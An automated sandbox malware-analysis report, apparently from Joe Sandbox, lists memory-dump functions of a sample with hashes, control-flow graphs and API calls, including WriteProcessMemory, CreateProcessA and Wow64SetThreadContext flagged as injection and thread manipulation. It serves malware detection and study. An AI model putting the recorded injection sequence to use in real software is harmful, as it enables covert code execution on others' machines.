                                                                                                                                                              • Opcode ID: 540c1029e5225311b83854e397a2294cd613ea12ce518fee7a6a458739dc7b91
                                                                                                                                                              • Instruction ID: 5d2f9ced7691922cd470c0db60b4369c2762362e27a7901830ff81a3381e4017
                                                                                                                                                              • Opcode Fuzzy Hash: 540c1029e5225311b83854e397a2294cd613ea12ce518fee7a6a458739dc7b91
                                                                                                                                                              • Instruction Fuzzy Hash: 2092E434A00659CFEB14DF64C894AD9B7B1FF89305F1186EAD409AB361DB35AE86CF40
                                                                                                                                                              Function 055361A8 Relevance: .6, Instructions: 650COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2186142415.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_5530000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5301dc2f7cbacf2aadf7c3d97523bd3ea0905a6f6c586ad539ac2e8d05a46b6b
                                                                                                                                                              • Instruction ID: 0a34f0ed84097584fc84952d8a8bcef27ca66f6512a20684054cac7ead28942a
                                                                                                                                                              • Opcode Fuzzy Hash: 5301dc2f7cbacf2aadf7c3d97523bd3ea0905a6f6c586ad539ac2e8d05a46b6b
                                                                                                                                                              • Instruction Fuzzy Hash: 5F425E70E002188FEB54DFA9C85579EBBF2BF85300F148569D449AB385DB34AD45CFA1
                                                                                                                                                              Function 070D9620 Relevance: .6, Instructions: 635COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5e03251fe20bf2ea6e99c9c926390d7f1d105dfe45f56b6f874472191dace295
                                                                                                                                                              • Instruction ID: 90972bb4afa96a24a75373b8a9be74bd00db1a3edef35d8f89be2d61841c06b5
                                                                                                                                                              • Opcode Fuzzy Hash: 5e03251fe20bf2ea6e99c9c926390d7f1d105dfe45f56b6f874472191dace295
                                                                                                                                                              • Instruction Fuzzy Hash: 8032A9B0B113058FEB19DB69D564BAEB7F6EF89314F248169E1069B3A0CB34EC01CB51
                                                                                                                                                              Function 05539FF1 Relevance: .3, Instructions: 278COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2186142415.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_5530000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 603b9443b84a8ab3b5a71129de82a5b1ef371ebaf8a56762eb7d579c3958c45c
                                                                                                                                                              • Instruction ID: 7997a4d3b68c3af4ed4e3a8f9b99e3b21ac0724cf9cb13b38bbdae9ced0412cd
                                                                                                                                                              • Opcode Fuzzy Hash: 603b9443b84a8ab3b5a71129de82a5b1ef371ebaf8a56762eb7d579c3958c45c
                                                                                                                                                              • Instruction Fuzzy Hash: 82C15B31E002559FDF15CFA9C881B9DBBB2BF88300F14C5AAD449AB255EB74E985CF90
                                                                                                                                                              Function 070E1E7A Relevance: .1, Instructions: 75COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188889789.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70e0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5ff779195229f06dfaeafb3072287c0baad3679d3567fd3b6a8675ed12ba5f0a
                                                                                                                                                              • Instruction ID: 29bed54415ca568c7a6ca4e8e529c538f7f9fd09815bea59741c9d3eb835ad2d
                                                                                                                                                              • Opcode Fuzzy Hash: 5ff779195229f06dfaeafb3072287c0baad3679d3567fd3b6a8675ed12ba5f0a
                                                                                                                                                              • Instruction Fuzzy Hash: 6D31F7B1E016588FEB18CFA6D9402DEBBF7AFC9314F14C16AD409A7264DB345A46CF50
                                                                                                                                                              Function 070D7A10 Relevance: .1, Instructions: 52COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5c68b5db4bf2509dd5985cb0437611ec47f37fb0fe3e6eb452a2027dc106a877
                                                                                                                                                              • Instruction ID: 0dfd312dc4ae6fb2422ccbde72d6e8bc13b2af882249e4ee6633740512abdf77
                                                                                                                                                              • Opcode Fuzzy Hash: 5c68b5db4bf2509dd5985cb0437611ec47f37fb0fe3e6eb452a2027dc106a877
                                                                                                                                                              • Instruction Fuzzy Hash: 6411C3B4818329CFCB60DF64D8497ECB7B8AB4A311F51669AC41EA2291D7349E85CF10
                                                                                                                                                              Function 070D475D Relevance: 1.7, APIs: 1, Instructions: 249processCOMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 295 70d475d-70d47fd 298 70d47ff-70d4809 295->298 299 70d4836-70d4856 295->299 298->299 300 70d480b-70d480d 298->300 304 70d488f-70d48be 299->304 305 70d4858-70d4862 299->305 302 70d480f-70d4819 300->302 303 70d4830-70d4833 300->303 306 70d481d-70d482c 302->306 307 70d481b 302->307 303->299 315 70d48f7-70d49b1 CreateProcessA 304->315 316 70d48c0-70d48ca 304->316 305->304 308 70d4864-70d4866 305->308 306->306 309 70d482e 306->309 307->306 310 70d4889-70d488c 308->310 311 70d4868-70d4872 308->311 309->303 310->304 313 70d4874 311->313 314 70d4876-70d4885 311->314 313->314 314->314 317 70d4887 314->317 327 70d49ba-70d4a40 315->327 328 70d49b3-70d49b9 315->328 316->315 318 70d48cc-70d48ce 316->318 317->310 320 70d48f1-70d48f4 318->320 321 70d48d0-70d48da 318->321 320->315 322 70d48dc 321->322 323 70d48de-70d48ed 321->323 322->323 323->323 324 70d48ef 323->324 324->320 338 70d4a50-70d4a54 327->338 339 70d4a42-70d4a46 327->339 328->327 340 70d4a64-70d4a68 338->340 341 70d4a56-70d4a5a 338->341 339->338 342 70d4a48 339->342 344 70d4a78-70d4a7c 340->344 345 70d4a6a-70d4a6e 340->345 341->340 343 70d4a5c 341->343 342->338 343->340 347 70d4a8e-70d4a95 344->347 348 70d4a7e-70d4a84 344->348 345->344 346 70d4a70 345->346 346->344 349 70d4aac 347->349 350 70d4a97-70d4aa6 347->350 348->347 351 70d4aad 349->351 350->349 351->351
                                                                                                                                                              APIs
                                                                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 070D499E
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateProcess
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 963392458-0
                                                                                                                                                              • Opcode ID: 1de00f7bae53740edee6535b889b7cac47d6a82ff7e488f94735c6409947aca7
                                                                                                                                                              • Instruction ID: cb7e251c04e67a0febff747518dc0029940cb2e6f2bd367baded344266541f62
                                                                                                                                                              • Opcode Fuzzy Hash: 1de00f7bae53740edee6535b889b7cac47d6a82ff7e488f94735c6409947aca7
                                                                                                                                                              • Instruction Fuzzy Hash: FDA13BB1D0079ADFEB24CF68C84179DBBF2BF48314F148669E809A7250DB749985CF92
                                                                                                                                                              Function 070D4768 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 353 70d4768-70d47fd 355 70d47ff-70d4809 353->355 356 70d4836-70d4856 353->356 355->356 357 70d480b-70d480d 355->357 361 70d488f-70d48be 356->361 362 70d4858-70d4862 356->362 359 70d480f-70d4819 357->359 360 70d4830-70d4833 357->360 363 70d481d-70d482c 359->363 364 70d481b 359->364 360->356 372 70d48f7-70d49b1 CreateProcessA 361->372 373 70d48c0-70d48ca 361->373 362->361 365 70d4864-70d4866 362->365 363->363 366 70d482e 363->366 364->363 367 70d4889-70d488c 365->367 368 70d4868-70d4872 365->368 366->360 367->361 370 70d4874 368->370 371 70d4876-70d4885 368->371 370->371 371->371 374 70d4887 371->374 384 70d49ba-70d4a40 372->384 385 70d49b3-70d49b9 372->385 373->372 375 70d48cc-70d48ce 373->375 374->367 377 70d48f1-70d48f4 375->377 378 70d48d0-70d48da 375->378 377->372 379 70d48dc 378->379 380 70d48de-70d48ed 378->380 379->380 380->380 381 70d48ef 380->381 381->377 395 70d4a50-70d4a54 384->395 396 70d4a42-70d4a46 384->396 385->384 397 70d4a64-70d4a68 395->397 398 70d4a56-70d4a5a 395->398 396->395 399 70d4a48 396->399 401 70d4a78-70d4a7c 397->401 402 70d4a6a-70d4a6e 397->402 398->397 400 70d4a5c 398->400 399->395 400->397 404 70d4a8e-70d4a95 401->404 405 70d4a7e-70d4a84 401->405 402->401 403 70d4a70 402->403 403->401 406 70d4aac 404->406 407 70d4a97-70d4aa6 404->407 405->404 408 70d4aad 406->408 407->406 408->408
                                                                                                                                                              APIs
                                                                                                                                                              • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 070D499E
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateProcess
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 963392458-0
                                                                                                                                                              • Opcode ID: d82808d4a2043508e50ea7041ceabe4a9a6944b338a5e004aa6b5c7c2f1a9116
                                                                                                                                                              • Instruction ID: cdc276dba20f643e7e971f739a6b108a644a903822f607eeb99c4451771e0214
                                                                                                                                                              • Opcode Fuzzy Hash: d82808d4a2043508e50ea7041ceabe4a9a6944b338a5e004aa6b5c7c2f1a9116
                                                                                                                                                              • Instruction Fuzzy Hash: A0913BB1D0079ADFEB24CF68C84179DBBF2BF48314F148269E809A7250DB749985CF91
                                                                                                                                                              Function 04E4AE48 Relevance: 1.7, APIs: 1, Instructions: 197COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 410 4e4ae48-4e4ae57 411 4e4ae83-4e4ae87 410->411 412 4e4ae59-4e4ae66 call 4e4a1a0 410->412 413 4e4ae89-4e4ae93 411->413 414 4e4ae9b-4e4aedc 411->414 419 4e4ae7c 412->419 420 4e4ae68 412->420 413->414 421 4e4aede-4e4aee6 414->421 422 4e4aee9-4e4aef7 414->422 419->411 465 4e4ae6e call 4e4b0e0 420->465 466 4e4ae6e call 4e4b0d1 420->466 421->422 424 4e4aef9-4e4aefe 422->424 425 4e4af1b-4e4af1d 422->425 423 4e4ae74-4e4ae76 423->419 426 4e4afb8-4e4b078 423->426 428 4e4af00-4e4af07 call 4e4a1ac 424->428 429 4e4af09 424->429 427 4e4af20-4e4af27 425->427 460 4e4b080-4e4b0ab GetModuleHandleW 426->460 461 4e4b07a-4e4b07d 426->461 431 4e4af34-4e4af3b 427->431 432 4e4af29-4e4af31 427->432 430 4e4af0b-4e4af19 428->430 429->430 430->427 435 4e4af3d-4e4af45 431->435 436 4e4af48-4e4af51 call 4e4a1bc 431->436 432->431 435->436 441 4e4af53-4e4af5b 436->441 442 4e4af5e-4e4af63 436->442 441->442 443 4e4af65-4e4af6c 442->443 444 4e4af81-4e4af8e 442->444 443->444 446 4e4af6e-4e4af7e call 4e4a1cc call 4e4a1dc 443->446 451 4e4af90-4e4afae 444->451 452 4e4afb1-4e4afb7 444->452 446->444 451->452 462 4e4b0b4-4e4b0c8 460->462 463 4e4b0ad-4e4b0b3 460->463 461->460 463->462 465->423 466->423
                                                                                                                                                              APIs
                                                                                                                                                              • GetModuleHandleW.KERNELBASE(00000000), ref: 04E4B09E
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2183336343.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4e40000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: HandleModule
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 4139908857-0
                                                                                                                                                              • Opcode ID: d0b53f3623af4a659e7acc0f3a7626e859e63dc8ca4c440774fe6905c0d66529
                                                                                                                                                              • Instruction ID: 237807f7b0e17e94eadd0d2d804ff2e7975ea81ccc0e64ae632aa3dc7defb8b2
                                                                                                                                                              • Opcode Fuzzy Hash: d0b53f3623af4a659e7acc0f3a7626e859e63dc8ca4c440774fe6905c0d66529
                                                                                                                                                              • Instruction Fuzzy Hash: 7C7115B0A00B058FE724DF2AE45075ABBF1FF88314F00892DE45A97A40D775F945CBA5
                                                                                                                                                              Function 04F718E4 Relevance: 1.6, APIs: 1, Instructions: 118COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 467 4f718e4-4f71956 468 4f71961-4f71968 467->468 469 4f71958-4f7195e 467->469 470 4f71973-4f71a12 CreateWindowExW 468->470 471 4f7196a-4f71970 468->471 469->468 473 4f71a14-4f71a1a 470->473 474 4f71a1b-4f71a53 470->474 471->470 473->474 478 4f71a55-4f71a58 474->478 479 4f71a60 474->479 478->479 480 4f71a61 479->480 480->480
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04F71A02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2185657409.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4f70000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: bd983770827ed0b694d23f0f28d537b5d7f3d8282151974ceb95a19469b81253
                                                                                                                                                              • Instruction ID: 988d77359e86443d8786e3811ead9871c6be0bbce232eefb41fafce9589c063f
                                                                                                                                                              • Opcode Fuzzy Hash: bd983770827ed0b694d23f0f28d537b5d7f3d8282151974ceb95a19469b81253
                                                                                                                                                              • Instruction Fuzzy Hash: B451C3B1D00349DFEB14CF99C984ADEBBB5FF48310F24822AE819AB250D774A945CF51
                                                                                                                                                              Function 04F718F0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 481 4f718f0-4f71956 482 4f71961-4f71968 481->482 483 4f71958-4f7195e 481->483 484 4f71973-4f71a12 CreateWindowExW 482->484 485 4f7196a-4f71970 482->485 483->482 487 4f71a14-4f71a1a 484->487 488 4f71a1b-4f71a53 484->488 485->484 487->488 492 4f71a55-4f71a58 488->492 493 4f71a60 488->493 492->493 494 4f71a61 493->494 494->494
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04F71A02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2185657409.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4f70000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: 45940174b225b744b05db8466f56bab00932ef90f4f44a01c9a15bee1518827e
                                                                                                                                                              • Instruction ID: 4614f8678d4698e793de8c1f507bcfe117f7878bb068e4bcb540f85df1b0b205
                                                                                                                                                              • Opcode Fuzzy Hash: 45940174b225b744b05db8466f56bab00932ef90f4f44a01c9a15bee1518827e
                                                                                                                                                              • Instruction Fuzzy Hash: 7D41A3B1D00349EFEB14CF99C984ADEBBB5BF48710F24812AE819AB210D775A945CF91
                                                                                                                                                              Function 04E4590D Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 495 4e4590d-4e4598c 497 4e4598f-4e459d9 CreateActCtxA 495->497 499 4e459e2-4e45a3c 497->499 500 4e459db-4e459e1 497->500 507 4e45a3e-4e45a41 499->507 508 4e45a4b-4e45a4f 499->508 500->499 507->508 509 4e45a60 508->509 510 4e45a51-4e45a5d 508->510 512 4e45a61 509->512 510->509 512->512
                                                                                                                                                              APIs
                                                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 04E459C9
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2183336343.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4e40000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: Create
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2289755597-0
                                                                                                                                                              • Opcode ID: 189e3dd41bb842827b84d3b0ad3da0015575fdc6c00237779102e49bfde3c2d0
                                                                                                                                                              • Instruction ID: a05b048290eb8fd2040ba19b220449cd00d8d4bda20e61d1e13c9cb746270c2a
                                                                                                                                                              • Opcode Fuzzy Hash: 189e3dd41bb842827b84d3b0ad3da0015575fdc6c00237779102e49bfde3c2d0
                                                                                                                                                              • Instruction Fuzzy Hash: 5A41F1B0C00719DFEB24DFA9D8847CDBBB5BF89304F20816AD508AB294DB766946CF51
                                                                                                                                                              Function 04E444B0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 513 4e444b0-4e459d9 CreateActCtxA 517 4e459e2-4e45a3c 513->517 518 4e459db-4e459e1 513->518 525 4e45a3e-4e45a41 517->525 526 4e45a4b-4e45a4f 517->526 518->517 525->526 527 4e45a60 526->527 528 4e45a51-4e45a5d 526->528 530 4e45a61 527->530 528->527 530->530
                                                                                                                                                              APIs
                                                                                                                                                              • CreateActCtxA.KERNEL32(?), ref: 04E459C9
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2183336343.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4e40000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: Create
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2289755597-0
                                                                                                                                                              • Opcode ID: 53d17860fab4e2b88f2c2683daad420d3fd478137e5ae8a0c92ee51c9dd67131
                                                                                                                                                              • Instruction ID: bdb2e39bc90a121d98698fa8d01fe2536999677e991c87b8ec8e847c89fb4d82
                                                                                                                                                              • Opcode Fuzzy Hash: 53d17860fab4e2b88f2c2683daad420d3fd478137e5ae8a0c92ee51c9dd67131
                                                                                                                                                              • Instruction Fuzzy Hash: B2410170C0071DDBEB24CFA9C884B8EBBB1BF89304F20806AD508AB250DB716945CF90
                                                                                                                                                              Function 04F74050 Relevance: 1.6, APIs: 1, Instructions: 93COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 531 4f74050-4f7408c 532 4f74092-4f74097 531->532 533 4f7413c-4f7415c 531->533 534 4f740ea-4f74122 CallWindowProcW 532->534 535 4f74099-4f740d0 532->535 539 4f7415f-4f7416c 533->539 536 4f74124-4f7412a 534->536 537 4f7412b-4f7413a 534->537 541 4f740d2-4f740d8 535->541 542 4f740d9-4f740e8 535->542 536->537 537->539 541->542 542->539
                                                                                                                                                              APIs
                                                                                                                                                              • CallWindowProcW.USER32(?,?,?,?,?), ref: 04F74111
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2185657409.0000000004F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F70000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4f70000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CallProcWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2714655100-0
                                                                                                                                                              • Opcode ID: 7043b6f87d320ebd4a7e0f736aa660407fa72e80080c03fba0444849d2b2b0d2
                                                                                                                                                              • Instruction ID: 1dc5fd8438903755240fb012609091c901567fcd11587d194f8cd51735519c46
                                                                                                                                                              • Opcode Fuzzy Hash: 7043b6f87d320ebd4a7e0f736aa660407fa72e80080c03fba0444849d2b2b0d2
                                                                                                                                                              • Instruction Fuzzy Hash: 124127B5A00309DFDB14DF99C848AAABBF5FF88314F24C459D519AB321D378A841CFA0
                                                                                                                                                              Function 0553A9C8 Relevance: 1.6, APIs: 1, Instructions: 86COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 545 553a9c8-553a9ed call 5539c10 548 553aa02-553aa94 CreateIconFromResourceEx 545->548 549 553a9ef-553a9ff 545->549 553 553aa96-553aa9c 548->553 554 553aa9d-553aaba 548->554 553->554
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2186142415.0000000005530000.00000040.00000800.00020000.00000000.sdmp, Offset: 05530000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_5530000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateFromIconResource
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3668623891-0
                                                                                                                                                              • Opcode ID: 672c751a214dec7e305f1236f032fb6f6487651e732b97cd8990fe6b6b34d554
                                                                                                                                                              • Instruction ID: 110d83211253aba9375e48c9529cd3fe381e94ff1fb17301d751221892c983a9
                                                                                                                                                              • Opcode Fuzzy Hash: 672c751a214dec7e305f1236f032fb6f6487651e732b97cd8990fe6b6b34d554
                                                                                                                                                              • Instruction Fuzzy Hash: 15314776904249DFDB11CFA9C945AEEBFF8BF09310F14845AE658AB221C3399854DFA0
                                                                                                                                                              Function 04E45A84 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 557 4e45a84-4e45a90 558 4e45a42-4e45a47 557->558 559 4e45a92-4e45b14 557->559 562 4e45a4b-4e45a4f 558->562 563 4e45a60 562->563 564 4e45a51-4e45a5d 562->564 566 4e45a61 563->566 564->563 566->566
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2183336343.0000000004E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E40000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_4e40000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: f7825e98006041e025f9cbf062b249f9e34207a253948d581d56a6e130cc0a43
                                                                                                                                                              • Instruction ID: cd77acf69c6f49dc403b009e0b87c22da471e3adfc2340c3b7536238d706f185
                                                                                                                                                              • Opcode Fuzzy Hash: f7825e98006041e025f9cbf062b249f9e34207a253948d581d56a6e130cc0a43
                                                                                                                                                              • Instruction Fuzzy Hash: 4E31AC71805709DFEF11CFA8D8957EDBBF1AF86718F104249C145AB2A1C779A946CB01
                                                                                                                                                              Function 070D44D9 Relevance: 1.6, APIs: 1, Instructions: 74injectionCOMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 070D4570
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: MemoryProcessWrite
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3559483778-0
                                                                                                                                                              • Opcode ID: 00e7942757f56ec5583690fc873f8776535a001a7d514bbd0baf73c24381a3e1
                                                                                                                                                              • Instruction ID: b1cdf5be3afe579fddef65e4e463bf6355cfc4639a4be6de4347ca0418883184
                                                                                                                                                              • Opcode Fuzzy Hash: 00e7942757f56ec5583690fc873f8776535a001a7d514bbd0baf73c24381a3e1
                                                                                                                                                              • Instruction Fuzzy Hash: 5C2137B1900349AFDF10CFAAC885BDEBBF4FF48310F108429E919A7241C7789954CBA5
                                                                                                                                                              Function 070D44E0 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 070D4570
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: MemoryProcessWrite
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 3559483778-0
                                                                                                                                                              • Opcode ID: f509905d644b1f1e00a6a57a3ab67bbd11fb3af608c0639c7e98e2af554cea44
                                                                                                                                                              • Instruction ID: e6c1bec14fab37695802b5aaf2061010328e9cb057690b19b2018eef7a3649b9
                                                                                                                                                              • Opcode Fuzzy Hash: f509905d644b1f1e00a6a57a3ab67bbd11fb3af608c0639c7e98e2af554cea44
                                                                                                                                                              • Instruction Fuzzy Hash: 532124B19003599FDB10CFAAC885BDEBBF5FF48310F10842AE919A7241C7789954CBA4
                                                                                                                                                              Function 070D3F40 Relevance: 1.6, APIs: 1, Instructions: 66threadCOMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              APIs
                                                                                                                                                              • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 070D3FC6
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 00000000.00000002.2188421808.00000000070D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070D0000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_0_2_70d0000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: ContextThreadWow64
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 983334009-0
